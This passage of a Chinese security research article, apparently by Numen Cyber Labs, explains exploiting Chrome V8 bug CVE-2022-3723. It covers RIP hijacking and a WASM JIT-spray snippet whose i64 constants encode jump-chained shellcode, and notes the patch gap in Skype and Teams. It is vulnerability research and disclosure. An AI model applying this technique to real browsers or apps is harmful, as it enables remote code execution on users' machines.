0.034em;white-space-collapse: preserve;width: 602px !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=dc8853ed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0dAhKSgFgtnbdWTySMmE22uXNxwMVk9rp7arg1SMQrWEdLrp8HzWOISEkvmtjKBMVbLr6UJ2uq8nw%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="outline: 0px;color: rgb(0, 0, 0);font-size: 15px;letter-spacing: 0.51px;white-space-collapse: preserve;">对象地址是0x109900233314，我们修改地址为0x10990023332C处的数据为0x002333B5，然后在0x1099002333B4处伪造对象，劫持wasm目标地址为0x037557588B010。真实的wasm起始起始地址为0x37557588B000。如上图所示，我们可以成功劫持RIP为0x037557588B010，该处汇编为0xCC，gdb成功断下。</span></p><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="outline: 0px;color: rgb(0, 0, 0);font-size: 15px;letter-spacing: 0.51px;white-space-collapse: preserve;"><strong style="outline: 0px;color: rgb(48, 56, 65);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-align: left;"><span style="outline: 0px;font-size: 18px;">0x03 - issue1378239 绕过思路</span></strong></span></p><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-wrap: wrap;background-color: rgb(255, 255, 255);letter-spacing: 0.578px;"><span style="outline: 0px;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;">issue1378239-CVE-2022-3723影响Chrome107.0.5304.62及其之前的版本，为2022年捕获的在野漏洞，但至今该Issue仍未公开。在谷歌公开poc的基础上，我们很容易实现任意相对读写。顾虑到本文讨论的重点是绕过沙箱，这里不再赘述如何从poc到任意读写。<br style="outline: 0px;"/></span></p><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="outline: 0px;font-size: 15px;">实现任意读写后，我们可以泄漏wasm，客户端将泄漏的wasm地址发送到远端server，同时请求wasm。远端server接收到wasm地址后，立刻将wasm地址信息编译到wasm字节码并返回。由于我们可以劫持RIP，这里精巧设计wasm代码，使漏洞劫持RIP到wasm中的错位字节码。具体细节如下所示：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code style="outline: 0px;"><span class="code-snippet_outer" style="outline: 0px;"><span class="code-snippet__keyword" style="outline: 0px;">var</span> wasm_code = `</span></code><code style="outline: 0px;"><span class="code-snippet_outer" style="outline: 0px;">(module</span></code><code style="outline: 0px;"><span class="code-snippet_outer" style="outline: 0px;">  (func $f (export <span class="code-snippet__string" style="outline: 0px;">&#34;f&#34;</span>) (param i64)</span></code><code style="outline: 0px;"><span class="code-snippet_outer" style="outline: 0px;">  (call $f (i64.<span class="code-snippet__keyword" style="outline: 0px;">const</span> <span class="code-snippet__number" style="outline: 0px;">0x12EB9060B0C03148</span>)) ;; <span class="code-snippet__number" style="outline: 0px;">48</span> <span class="code-snippet__number" style="outline: 0px;">31</span> C0 B0 <span class="code-snippet__number" style="outline: 0px;">60</span> <span class="code-snippet__number" style="outline: 0px;">90</span> EB <span class="code-snippet__number" style="outline: 0px;">12</span></span></code><code style="outline: 0px;"><span class="code-snippet_outer" style="outline: 0px;">  (call $f (i64.<span class="code-snippet__keyword" style="outline: 0px;">const</span> <span class="code-snippet__number" style="outline: 0px;">0x0BEB9090008B4865</span>)) ;; <span class="code-snippet__number" style="outline: 0px;">65</span> <span class="code-snippet__number" style="outline: 0px;">48</span> <span class="code-snippet__number" style="outline: 0px;">8</span>B <span class="code-snippet__number" style="outline: 0px;">00</span> <span class="code-snippet__number" style="outline: 0px;">90</span> <span class="code-snippet__number" style="outline: 0px;">90</span> EB <span class="code-snippet__number" style="outline: 0px;">0</span>B</span></code><code style="outline: 0px;"><span class="code-snippet_outer" style="outline: 0px;">……</span></code><code style="outline: 0px;"><span class="code-snippet_outer" style="outline: 0px;">……</span></code></pre></section><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="outline: 0px;font-size: 15px;">上述wasm代码编译后，在最新版Chrome内存中为RWX属性，不过在107.0.5304.63版本中为RX属性，我们可以控制的内容为$f函数的参数，这便足够我们执行任意代码。借助前两个字节48 31，可以让我们调转到下一个可控字节码。如此，在这段wasm中，我们可以一遍执行等效汇编，一边跳转。逐步完成VirtualProtect调用和跳转到Shellcode。具体设计细节可参考github中的公开代码。</span></p><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><strong style="outline: 0px;text-align: left;letter-spacing: 0.544px;font-size: var(--articleFontsize);color: rgb(48, 56, 65);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><span style="outline: 0px;font-size: 18px;"><strong style="outline: 0px;letter-spacing: 0.544px;"><span style="outline: 0px;">0x04 - issue1378239 需要注意的部分</span></strong> </span></strong></p><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-wrap: wrap;background-color: rgb(255, 255, 255);letter-spacing: 0.578px;"><span style="outline: 0px;font-size: 15px;color: rgb(0, 0, 0);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;white-space-collapse: preserve;">在撰写该exp时，发现在单独的Context环境中只能触发一次漏洞。于是该exp分成两步，先从一个iframe中触发信息泄漏，然后将该信息传递给Server，接着Server将泄漏的信息写入另一个html，客户端请求第二个html到本地的iframe中。由于两个iframe使用了相同的域名和端口，属于同一进程，其中泄漏的地址可以互相交叉使用。我们在第二个iframe中实现数组长度的修改，之后按照常规的任意读写，绕过v8沙箱实现沙箱内RCE。具体exp细节参考github。</span></p><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="outline: 0px;color: rgb(0, 0, 0);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;white-space-collapse: preserve;font-size: 15px;"><strong style="outline: 0px;">视频演示</strong></span></p><section><video controls="" poster="https://wechat2rss.xlab.app/img-proxy/?k=2e916c18&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FvlekRjgqic0dAhKSgFgtnbdWTySMmE22uY5ArP0uW5pwjjeEkAQM6ib6rcBWwWibJp97eX5UFwfECktOsXwAJQqIg%2F0%3Fwx_fmt%3Djpeg" src="https://wechat2rss.xlab.app/video-proxy/?k=6a0762e6&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MDcxNTc2NA%3D%3D%26mid%3D2247486067%26idx%3D1%26sn%3D29987f89315057b4f8a25e0fa2127161%26subscene%3D0&amp;v=wxv_3045590471818887172"></video></section><section style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><strong style="outline: 0px;color: rgb(48, 56, 65);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-align: left;"><span style="outline: 0px;font-size: 18px;">0x05 - PatchGap</span></strong></section><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-wrap: wrap;background-color: rgb(255, 255, 255);letter-spacing: 0.578px;"><span style="outline: 0px;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;">事实上，Chrome近期安全的确在不停的改进。2023年pwn2own中也没有出现Chrome Full Chain。我们从在野的poc等也可观测到，其漏洞利用手法也越来越新颖，传统容易利用的类型混淆也逐渐被我们描述为品相极佳的漏洞。近年来TheHole和UninitiallizeOddBall等内置对象也在跟着不停改进。然而对抗一直是动态的，从表象上看也一直是平衡的。我们仍旧没有完全杜绝PatchGap在实际产品中的影响。</span></p><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="outline: 0px;font-size: 15px;">在研究1day和nday的过程中，实际上Teams/Skype等很多流行IM，仍旧无法跟上Chrome的修复进度。而无独有偶的是，Skype和Teams等IM的确加入了v8沙箱来缓解1/nday的威胁。</span></p><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="outline: 0px;font-size: 15px;">借助Chrome的patch diff或者谷歌给出的poc，很大程度上降低了黑客复现漏洞和撰写exp的难度，这对共享相同组件的软件的确构成了很大威胁。如下是我们在研究在野/1day/nday过程中撰写的Skype的exp。其他受影响软件的patch Gap这里不再赘述。</span></p><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="outline: 0px;font-size: 15px;"><strong style="outline: 0px;"><span style="outline: 0px;color: rgb(0, 0, 0);letter-spacing: 0.918px;white-space-collapse: preserve;">视频演示</span></strong></span></p><section><video controls="" poster="https://wechat2rss.xlab.app/img-proxy/?k=aa1e442f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FvlekRjgqic0dAhKSgFgtnbdWTySMmE22uREPJPeNLMSeFwu4iba2arlOEoZNpuqibO1o2OPHCLiaCgXZkmRO7WobqA%2F0%3Fwx_fmt%3Djpeg" src="https://wechat2rss.xlab.app/video-proxy/?k=dc28198c&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MDcxNTc2NA%3D%3D%26mid%3D2247486067%26idx%3D1%26sn%3D29987f89315057b4f8a25e0fa2127161%26subscene%3D0&amp;v=wxv_3045592303974760450"></video></section><section style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><strong style="outline: 0px;text-align: left;letter-spacing: 0.544px;font-size: var(--articleFontsize);color: rgb(48, 56, 65);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><span style="outline: 0px;font-size: 18px;"><strong style="outline: 0px;letter-spacing: 0.544px;"><span style="outline: 0px;">0x06 - 参考文献</span></strong> </span></strong></section><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-wrap: wrap;background-color: rgb(255, 255, 255);letter-spacing: 0.578px;"><span style="outline: 0px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;"><a href="https://github.com/numencyber/Vulnerability_PoC/tree/main/CVE-2022-3723" target="_blank">https://github.com/numencyber/Vulnerability_PoC/tree/main/CVE-2022-3723</a></span></p><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="font-size: 15px;"><a href="https://medium.com/@numencyberlabs/using-leaking-sentinel-value-to-bypass-the-latest-chrome-v8-hardenprotect-c4ed40e3d34f" target="_blank">https://medium.com/@numencyberlabs/using-leaking-sentinel-value-to-bypass-the-latest-chrome-v8-hardenprotect-c4ed40e3d34f</a></span></p><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="font-size: 15px;"><a href="https://medium.com/numen-cyber-labs/from-leaking-thehole-to-chrome-renderer-rce-183dcb6f3078" target="_blank">https://medium.com/numen-cyber-labs/from-leaking-thehole-to-chrome-renderer-rce-183dcb6f3078</a></span></p><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="font-size: 15px;"><a href="https://twitter.com/5aelo/status/1682405383896219649" target="_blank">https://twitter.com/5aelo/status/1682405383896219649</a></span></p><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="font-size: 15px;"><a href="https://docs.google.com/document/d/1CPs5PutbnmI-c5g7e_Td9CNGh5BvpLleKCqUnqmD82k/edit" target="_blank">https://docs.google.com/document/d/1CPs5PutbnmI-c5g7e_Td9CNGh5BvpLleKCqUnqmD82k/edit</a></span></p><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="font-size: 15px;"><a href="https://docs.google.com/document/d/1V3sxltuFjjhp_6grGHgfqZNK57qfzGzme0QTk0IXDHk/edit" target="_blank">https://docs.google.com/document/d/1V3sxltuFjjhp_6grGHgfqZNK57qfzGzme0QTk0IXDHk/edit</a></span></p><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="font-size: 15px;"><a href="https://docs.google.com/presentation/d/1iDWDHuAZ8ee-dRF5Lkf0nwO2mkLdZG_YJEP1yPvJ09E/edit#slide=id.g19fd0c0660d_0_267" target="_blank">https://docs.google.com/presentation/d/1iDWDHuAZ8ee-dRF5Lkf0nwO2mkLdZG_YJEP1yPvJ09E/edit#slide=id.g19fd0c0660d_0_267</a></span></p><section data-role="outer" label="edit by 135editor" style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;"><section data-tools="135编辑器" data-id="122336" style="outline: 0px;"><section style="margin: 8px auto 16px;outline: 0px;"><section style="margin-bottom: -29px;outline: 0px;display: flex;justify-content: flex-end;"><section style="outline: 0px;width: 25px;height: 0px;overflow: hidden;"><br style="outline: 0px;"/></section></section></section><section style="margin-right: 10px;margin-left: 10px;outline: 0px;"><section style="margin-top: 8px;margin-bottom: 16px;outline: 0px;width: 657px;border-bottom: 1px solid rgb(255, 216, 68);height: 1px;overflow: hidden;"><br style="outline: 0px;"/></section><section data-autoskip="1" style="padding: 10px 15px;outline: 0px;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(71, 71, 71);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;"><section style="margin: 8px 8px 16px;outline: 0px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><br style="outline: 0px;"/></section><section data-tools="135编辑器" data-id="117004" style="outline: 0px;"><section data-role="outer" label="edit by 135editor" style="outline: 0px;"><section style="margin-top: 8px;margin-bottom: 16px;outline: 0px;"><section style="margin-top: 20px;margin-bottom: 20px;margin-left: 10px;outline: 0px;display: flex;justify-content: flex-start;align-items: center;"><section style="outline: 0px;display: flex;align-items: center;"><section style="outline: 0px;display: flex;align-items: center;"><section style="outline: 0px;flex-shrink: 0;"><section style="outline: 0px;width: 4px;height: 20px;background-color: rgb(238, 108, 98);border-radius: 15px;overflow: hidden;"><br style="outline: 0px;"/></section></section></section><section style="padding-right: 7px;padding-left: 7px;outline: 0px;font-size: 16px;color: rgb(51, 51, 51);text-align: center;"><strong data-brushtype="text" style="outline: 0px;">关于 Numen Cyber</strong></section></section></section></section></section></section><section style="margin: 8px 8px 16px;outline: 0px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="outline: 0px;font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">Numen Cyber 是链上威胁检测与防御的先驱，团队成员拥有在亚马逊、华为、百度、奇虎360等众多知名大厂与 OKlink，知道创宇，成都链安等知名 Web3 主体安全岗位从业经历。</span></section><section style="margin: 8px 8px 16px;outline: 0px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="outline: 0px;font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">拥有 Web2+Web3 多重安全技能储备的 Numen Cyber 旗下拥有 ImmunX 和 Leukocyte 两款安全产品，分别可在应用层和物理层为 Web3 项目提供保护。其中 ImmunX 包含安全策略开放市场和合约防火墙等独创功能，可以为 Web3 生态提供一站式全方位的保护；Leukocyte 则是保护服务器安全，实时检测黑客针对服务器的各种攻击并自动阻断、报警。</span></section><section style="margin: 8px 8px 16px;outline: 0px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="outline: 0px;font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">目前 Numen Cyber 的合作伙伴包括不限于 Binance，Cobo，Suiet 等，也包括中国移动、中国电信、中国联通，以及阿里云、腾讯、华为、亚马逊、微软等。</span></section></section><section style="margin-top: 8px;margin-bottom: 16px;outline: 0px;width: 657px;border-top: 1px solid rgb(255, 216, 68);height: 1px;overflow: hidden;"><br style="outline: 0px;"/></section></section></section><section data-role="paragraph" style="outline: 0px;"><section style="margin-top: 8px;margin-bottom: 16px;outline: 0px;"><br style="outline: 0px;"/></section></section></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">Numen 官网</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;">ht</span><span style="outline: 0px;font-style: italic;letter-spacing: 0.544px;">tps://numencyber.com/ </span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">GitHub</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://github.com/NumenCyber" target="_blank">https://github.com/NumenCyber</a></span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">Twitter</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://twitter.com/@numencyber" target="_blank">https://twitter.com/@numencyber</a></span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">Medium</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://medium.com/@numencyberlabs" target="_blank">https://medium.com/@numencyberlabs</a></span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">LinkedIn</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://www.linkedin.com/company/numencyber/" target="_blank">https://www.linkedin.com/company/numencyber/</a></span></section><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);visibility: visible;"><span style="font-size: 15px;outline: 0px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;visibility: visible;"><br/></span></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486067">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=659a596d&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MDcxNTc2NA%3D%3D%26mid%3D2247486067%26idx%3D1%26sn%3D29987f89315057b4f8a25e0fa2127161%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 04 Aug 2023 16:08:00 +0800</pubDate>
    </item>
    <item>
      <title>Numen Cyber 已完成对 Suiet 钱包的审计</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MDcxNTc2NA==&amp;mid=2247486033&amp;idx=1&amp;sn=144f18b7b0db543e92d97d809431fe5b</link>
      <description>Numen Cyber 是链上威胁检测与防御的先驱。</description>
      <content:encoded><![CDATA[<p>
原创 <span>Numen Cyber Labs</span> <span>2023-06-15 18:20</span> <span style="display: inline-block;">北京</span>
</p>

<p>Numen Cyber 是链上威胁检测与防御的先驱。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=4a7d268d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FvlekRjgqic0cqMrbYfzxsrkLBctuEwJO1QSX1eibAFyYqGKy7xicOhzGjIm0QMkDfBTb8nqPSTtlo2HMrP9FV3Ribw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


